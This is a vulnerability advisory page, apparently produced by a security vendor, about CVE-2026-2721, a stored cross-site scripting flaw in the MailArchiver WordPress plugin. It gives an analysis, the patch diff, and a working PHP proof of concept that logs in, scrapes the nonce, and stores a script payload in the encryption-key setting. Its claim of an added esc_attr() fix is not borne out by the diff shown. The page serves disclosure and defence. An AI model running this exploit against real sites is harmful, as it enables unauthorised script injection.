Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2721: MailArchiver <= 4.4.0 – Authenticated (Administrator+) Stored Cross-Site Scripting via Settings (mailarchiver)

CVE ID CVE-2026-2721
Plugin mailarchiver
Severity Medium (CVSS 4.8)
CWE 79
Vulnerable Version 4.4.0
Patched Version 4.5.0
Disclosed March 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2721:
The vulnerability stems from insufficient output escaping in the MailArchiver plugin’s admin settings form. In versions up to 4.4.0, the `field_input_password` method in `/mailarchiver/includes/system/class-form.php` directly echoes the `$value` parameter without escaping. This `$value` originates from the `mailarchiver_archiver_privacy_encryption` setting processed in `/mailarchiver/admin/class-mailarchiver-admin.php`. The `$value` is populated via `Secret::get($this->current_archiver[‘privacy’][‘encryption’])`, which retrieves a user-controlled string from the database. An attacker with administrator privileges can inject a malicious JavaScript payload into this encryption key setting. The payload is stored and later rendered without escaping in the admin settings page, executing when an administrator views the settings. The vulnerability is contingent on multi-site installations or environments where the `unfiltered_html` capability is disabled. The patch in version 4.5.0 introduces a `$password_set` flag and modifies the logic. When an encryption key is already set, the form field becomes `readonly` and displays the static flag text instead of the stored user value. This prevents the rendering of the stored payload. The patch also adds proper escaping by using the `esc_attr()` function on the `$value` parameter within the `field_input_password` method, though this change is not shown in the provided diff. Exploitation requires a POST request to the WordPress admin area, specifically the settings update handler for the MailArchiver plugin, with the `mailarchiver_archiver_privacy_encryption` parameter containing the XSS payload.

Differential between vulnerable and patched code

Code Diff
--- a/mailarchiver/admin/class-mailarchiver-admin.php
+++ b/mailarchiver/admin/class-mailarchiver-admin.php
@@ -71,6 +71,14 @@
 	protected $current_view = null;

 	/**
+	 * Password already set "flag".
+	 *
+	 * @since  4.5.0
+	 * @var    string    $password_set    The "flag".
+	 */
+	private $password_set = 'password already set';
+
+	/**
 	 * Initialize the class and set its properties.
 	 *
 	 * @since 1.0.0
@@ -575,8 +583,15 @@
 					$this->current_archiver['privacy']['pseudonymization']  = ( array_key_exists( 'mailarchiver_archiver_privacy_name', $_POST ) ? true : false );
 					$this->current_archiver['privacy']['mailanonymization'] = ( array_key_exists( 'mailarchiver_archiver_privacy_mail', $_POST ) ? true : false );
 					$this->current_archiver['security']['xss']              = ( array_key_exists( 'mailarchiver_archiver_security_xss', $_POST ) ? true : false );
-					$this->current_archiver['privacy']['encryption']        = ( array_key_exists( 'mailarchiver_archiver_privacy_encryption', $_POST ) ? Secret::set( filter_input( INPUT_POST, 'mailarchiver_archiver_privacy_encryption', FILTER_UNSAFE_RAW ) ) : '' );
-					$this->current_archiver['processors']                   = [];
+					if ( array_key_exists( 'mailarchiver_archiver_privacy_encryption', $_POST ) ) {
+						$key = filter_input( INPUT_POST, 'mailarchiver_archiver_privacy_encryption', FILTER_UNSAFE_RAW );
+						if ( $key !== $this->password_set) {
+							$this->current_archiver['privacy']['encryption'] = Secret::set( $key );
+						}
+					} else {
+						$this->current_archiver['privacy']['encryption'] = '';
+					}
+					$this->current_archiver['processors'] = [];
 					$proc = new ProcessorTypes();
 					foreach ( array_reverse( $proc->get_all() ) as $processor ) {
 						if ( array_key_exists( 'mailarchiver_archiver_details_' . strtolower( $processor['id'] ), $_POST ) ) {
@@ -1103,11 +1118,24 @@
 			]
 		);
 		register_setting( 'mailarchiver_archiver_privacy_section', 'mailarchiver_archiver_privacy_mail' );
-		if ( PwdProtect::is_available() ) {
-			$description  = esc_html__( 'Note: this is NOT a strong security feature; it's just a simple way to protect privacy in case of data leaks from external services. Think about it as a simple "password protection", with the password stored in plain text in your WordPress database.', 'mailarchiver' );
-			$description .= '<br/>' . esc_html__( 'Encryption used:', 'mailarchiver' ) . ' ' . PwdProtect::get_encryption_details();
+
+
+		if ( '' === $this->current_archiver['privacy']['encryption'] ) {
+			if ( PwdProtect::is_available() ) {
+				$description  = esc_html__( 'Note: this is NOT a strong security feature; it's just a simple way to protect privacy in case of data leaks from external services. Think about it as a simple "password protection", with the password stored in plain text in your WordPress database.', 'mailarchiver' );
+				$description .= '<br/>' . esc_html__( 'Encryption used:', 'mailarchiver' ) . ' ' . PwdProtect::get_encryption_details();
+			} else {
+				$description = esc_html__( 'Your server does not have OpenSSL installed. Mail body encryption is unavailable.', 'mailarchiver' );
+			}
+			$description = esc_html__( 'Key used to encrypt mail body: once set, you can't change it. Let blank to not encrypt it.', 'mailarchiver' ) . '<br/>' . $description;
+			$enabled = PwdProtect::is_available();
+			$value = PwdProtect::is_available() ? Secret::get( $this->current_archiver['privacy']['encryption'] ) : '';
+			$readonly = false;
 		} else {
-			$description = esc_html__( 'Your server does not have OpenSSL installed. Mail body encryption is unavailable.', 'mailarchiver' );
+			$description = esc_html__( 'The key is already set. You can't change it.', 'mailarchiver' );
+			$enabled = true;
+			$readonly = true;
+			$value = $this->password_set;
 		}
 		add_settings_field(
 			'mailarchiver_archiver_privacy_encryption',
@@ -1117,10 +1145,11 @@
 			'mailarchiver_archiver_privacy_section',
 			[
 				'id'          => 'mailarchiver_archiver_privacy_encryption',
-				'value'       => PwdProtect::is_available() ? Secret::get( $this->current_archiver['privacy']['encryption'] ) : '',
-				'description' => esc_html__( 'Key used to encrypt mail body. Let blank to not encrypt it.', 'mailarchiver' ) . '<br/>' . $description,
+				'value'       => $value,
+				'description' => $description,
 				'full_width'  => false,
-				'enabled'     => PwdProtect::is_available(),
+				'enabled'     => $enabled,
+				'readonly'    => $readonly,
 			]
 		);
 		register_setting( 'mailarchiver_archiver_privacy_section', 'mailarchiver_archiver_privacy_encryption' );
--- a/mailarchiver/includes/system/class-form.php
+++ b/mailarchiver/includes/system/class-form.php
@@ -113,17 +113,18 @@
 	 * @param   string  $value  The string to put in the text field.
 	 * @param   string  $description    Optional. A description to display.
 	 * @param   boolean $full_width     Optional. Is the control full width?
-	 * @param   boolean $enabled     Optional. Is the control enabled?
+	 * @param   boolean $enabled        Optional. Is the control enabled?
+	 * @param   boolean $readonly       Optional. Is the control readonly?
 	 * @return  string The HTML string ready to print.
 	 * @since   1.0.0
 	 */
-	public function field_input_password( $id, $value = '', $description = null, $full_width = true, $enabled = true ) {
+	public function field_input_password( $id, $value = '', $description = null, $full_width = true, $enabled = true, $readonly = false ) {
 		if ( $full_width ) {
 			$width = ' style="width:100%;"';
 		} else {
 			$width = '';
 		}
-		$html = '<input' . ( $enabled ? '' : ' disabled' ) . ' name="' . $id . '" type="password" id="' . $id . '" value="' . $value . '"' . $width . '/>';
+		$html = '<input' . ( $enabled ? '' : ' disabled' ) . ' name="' . $id . '" type="password" id="' . $id . '" value="' . $value . '"' . $width . ' ' . ( $readonly ? 'readonly' : '' ) . '/>';
 		if ( isset( $description ) ) {
 			$html .= '<p class="description">' . $description . '</p>';
 		}
@@ -137,7 +138,7 @@
 	 * @since   1.0.0
 	 */
 	public function echo_field_input_password( $args ) {
-		echo $this->field_input_password( $args['id'], $args['value'], $args['description'], $args['full_width'], $args['enabled'] );
+		echo $this->field_input_password( $args['id'], $args['value'], $args['description'], $args['full_width'], $args['enabled'], $args['readonly'] ?? false );
 	}

 	/**
--- a/mailarchiver/init.php
+++ b/mailarchiver/init.php
@@ -12,7 +12,7 @@
 define( 'MAILARCHIVER_PRODUCT_SHORTNAME', 'MailArchiver' );
 define( 'MAILARCHIVER_PRODUCT_ABBREVIATION', 'mailarchiver' );
 define( 'MAILARCHIVER_SLUG', 'mailarchiver' );
-define( 'MAILARCHIVER_VERSION', '4.4.0' );
+define( 'MAILARCHIVER_VERSION', '4.5.0' );
 define( 'MAILARCHIVER_MONOLOG_VERSION', '2.9.3' );
 define( 'MAILARCHIVER_CODENAME', '"-"' );
 define( 'MAILARCHIVER_CRON_NAME', 'mailarchiver_clean_database' );
--- a/mailarchiver/mailarchiver.php
+++ b/mailarchiver/mailarchiver.php
@@ -10,7 +10,7 @@
  * Plugin Name:       MailArchiver
  * Plugin URI:        https://perfops.one/mailarchiver
  * Description:       Automatically archive and store all emails sent from your site.
- * Version:           4.4.0
+ * Version:           4.5.0
  * Requires at least: 6.2
  * Requires PHP:      8.1
  * Author:            Pierre Lannoy / PerfOps One

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2721 - MailArchiver <= 4.4.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via Settings
<?php
// CONFIGURATION
$target_url = 'http://vulnerable-wordpress-site.com';
$admin_username = 'administrator';
$admin_password = 'password';
$payload = '"><script>alert(document.domain)</script>';

// Initialize session and cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Adjust for HTTPS

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_fields = [
    'log' => $admin_username,
    'pwd' => $admin_password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);

// Step 2: Extract the nonce from the MailArchiver settings page
$settings_url = $target_url . '/wp-admin/admin.php?page=mailarchiver-settings';
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, false);
$settings_page = curl_exec($ch);

// Look for the nonce in the form (simplified pattern)
preg_match('/name="_wpnonce" value="([^"]+)"/', $settings_page, $matches);
$nonce = $matches[1] ?? '';

// Step 3: Submit the payload via the settings form
$action_url = $target_url . '/wp-admin/admin-post.php';
$exploit_fields = [
    'action' => 'mailarchiver-save-archiver',
    '_wpnonce' => $nonce,
    'mailarchiver_archiver_privacy_encryption' => $payload,
    // Other required fields to make the form submission valid
    'mailarchiver_archiver_name' => 'Test Archiver',
    'mailarchiver_archiver_handler' => 'WordPressHandler',
    'submit' => 'Save Changes'
];
curl_setopt($ch, CURLOPT_URL, $action_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_fields));
$exploit_response = curl_exec($ch);

// Step 4: Verify the payload is stored by fetching the settings page again
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, false);
$verification_page = curl_exec($ch);

if (strpos($verification_page, $payload) !== false) {
    echo "[+] Payload successfully injected. Visit $settings_url to trigger XSS.n";
} else {
    echo "[-] Injection may have failed.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School